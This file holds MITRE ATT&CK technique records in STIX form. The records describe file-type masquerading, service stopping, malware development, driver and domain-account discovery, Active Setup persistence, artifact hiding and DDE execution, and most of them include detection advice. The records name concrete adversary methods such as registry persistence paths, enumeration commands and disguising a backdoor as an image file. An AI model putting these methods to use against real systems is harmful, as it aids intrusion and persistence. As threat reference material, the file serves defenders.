attack-pattern | attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-03-08T22:40:06.918000Z" | "2023-06-14T23:03:51.540000Z" | Masquerade File Type | Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`.
Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections.
Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.
Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1036.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/008"
},
{
"description": "Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.",
"external_id": null,
"source_name": "polygot_icedID",
"url": "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
|
attack-pattern | attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-03-29T19:00:55.901000Z" | "2022-07-28T18:47:11.957000Z" | Service Stop | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1489",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1489"
},
{
"description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
"external_id": null,
"source_name": "SecureWorks WannaCry Analysis",
"url": "https://www.secureworks.com/research/wcry-ransomware-analysis"
},
{
"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
"external_id": null,
"source_name": "Talos Olympic Destroyer 2018",
"url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
},
{
"description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
"external_id": null,
"source_name": "Novetta Blockbuster",
"url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes and command-line arguments to see if critical processes are terminated or stop running.
Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.
Alterations to the service binary path or the service startup type changed to disabled may be suspicious.
Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, <code>ChangeServiceConfigW</code> may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS"
] | 1.2 |
attack-pattern | attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T01:33:01.433000Z" | "2022-01-14T17:14:27.890000Z" | Malware | Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)
As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.
Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1587.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1587/001"
},
{
"description": "Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.",
"external_id": null,
"source_name": "Mandiant APT1",
"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
},
{
"description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
"external_id": null,
"source_name": "Kaspersky Sofacy",
"url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
},
{
"description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.",
"external_id": null,
"source_name": "ActiveMalwareEnergy",
"url": "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/"
},
{
"description": "The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022.",
"external_id": null,
"source_name": "FBI Flash FIN7 USB",
"url": "https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/"
},
{
"description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
"external_id": null,
"source_name": "FireEye APT29",
"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.2 |
attack-pattern | attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-03-28T20:14:49.087000Z" | "2023-05-04T18:07:16.804000Z" | Device Driver Discovery | Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).
Many OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)
On Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1652",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1652"
},
{
"description": "Kerrisk, M. (2022, December 18). lsmod(8) — Linux manual page. Retrieved March 28, 2023.",
"external_id": null,
"source_name": "lsmod man",
"url": "https://man7.org/linux/man-pages/man8/lsmod.8.html"
},
{
"description": "Microsoft. (2021, December 14). Registry Trees for Devices and Drivers. Retrieved March 28, 2023.",
"external_id": null,
"source_name": "Microsoft Registry Drivers",
"url": "https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys"
},
{
"description": "Microsoft. (2021, October 12). EnumDeviceDrivers function (psapi.h). Retrieved March 28, 2023.",
"external_id": null,
"source_name": "Microsoft EnumDeviceDrivers",
"url": "https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers"
},
{
"description": "Microsoft. (n.d.). driverquery. Retrieved March 28, 2023.",
"external_id": null,
"source_name": "Microsoft Driverquery",
"url": "https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery"
},
{
"description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
"external_id": null,
"source_name": "Linux Kernel Programming",
"url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
},
{
"description": "Russell, R. (n.d.). modinfo(8) - Linux man page. Retrieved March 28, 2023.",
"external_id": null,
"source_name": "modinfo man",
"url": "https://linux.die.net/man/8/modinfo"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
|
attack-pattern | attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-21T21:08:26.480000Z" | "2024-04-15T21:33:57.732000Z" | Domain Account | Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.
Commands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1087.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1087/002"
},
{
"description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
"external_id": null,
"source_name": "CrowdStrike StellarParticle January 2022",
"url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
| [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--22522668-ddf6-470b-a027-9d6866679f67 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-12-18T16:33:13.098000Z" | "2023-03-22T14:17:17.353000Z" | Active Setup | Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.
Adversaries may abuse Active Setup by creating a key under <code> HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)
Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1547.014",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/014"
},
{
"description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really Spreading through the Bright Star?. Retrieved December 18, 2020.",
"external_id": null,
"source_name": "SECURELIST Bright Star 2015",
"url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/"
},
{
"description": "Glyer, C. (2010). Examples of Recent APT Persistence Mechanism. Retrieved December 18, 2020.",
"external_id": null,
"source_name": "Mandiant Glyer APT 2010",
"url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf"
},
{
"description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.",
"external_id": null,
"source_name": "FireEye CFR Watering Hole 2012",
"url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
},
{
"description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.",
"external_id": null,
"source_name": "Klein Active Setup 2010",
"url": "https://helgeklein.com/blog/2010/04/active-setup-explained/"
},
{
"description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.",
"external_id": null,
"source_name": "paloalto Tropic Trooper 2016",
"url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
},
{
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"external_id": null,
"source_name": "TechNet Autoruns",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
},
{
"description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.",
"external_id": null,
"source_name": "Citizenlab Packrat 2015",
"url": "https://citizenlab.ca/2015/12/packrat-report/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\</code>.
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-26T17:41:25.933000Z" | "2024-03-29T17:45:48.126000Z" | Hide Artifacts | Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)
Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1564",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564"
},
{
"description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
"external_id": null,
"source_name": "Cybereason OSX Pirrit",
"url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
},
{
"description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
"external_id": null,
"source_name": "MalwareBytes ADS July 2015",
"url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"
},
{
"description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
"external_id": null,
"source_name": "Sofacy Komplex Trojan",
"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
},
{
"description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.",
"external_id": null,
"source_name": "Sophos Ragnar May 2020",
"url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Office 365"
] | 1.2 |
attack-pattern | attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-12T14:10:50.699000Z" | "2023-09-15T18:57:21.881000Z" | Dynamic Data Exchange | Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)
Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )
DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1559.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1559/002"
},
{
"description": " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022.",
"external_id": null,
"source_name": "OWASP CSV Injection",
"url": "https://owasp.org/www-community/attacks/CSV_Injection"
},
{
"description": " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022.",
"external_id": null,
"source_name": "CSV Excel Macro Injection ",
"url": "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/"
},
{
"description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
"external_id": null,
"source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
"url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
},
{
"description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
"external_id": null,
"source_name": "SensePost PS DDE May 2016",
"url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"
},
{
"description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
"external_id": null,
"source_name": "Fireeye Hunting COM June 2019",
"url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
},
{
"description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
"external_id": null,
"source_name": "Kettle CSV DDE Aug 2014",
"url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"
},
{
"description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
"external_id": null,
"source_name": "Microsoft ADV170021 Dec 2017",
"url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"
},
{
"description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
"external_id": null,
"source_name": "Microsoft DDE Advisory Nov 2017",
"url": "https://technet.microsoft.com/library/security/4053440"
},
{
"description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
"external_id": null,
"source_name": "Enigma Reviving DDE Jan 2018",
"url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
},
{
"description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
"external_id": null,
"source_name": "NVisio Labs DDE Detection Oct 2017",
"url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
},
{
"description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
"external_id": null,
"source_name": "SensePost MacroLess DDE Oct 2017",
"url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).
OLE, Office Open XML, CSV, and other files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection ) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.3 |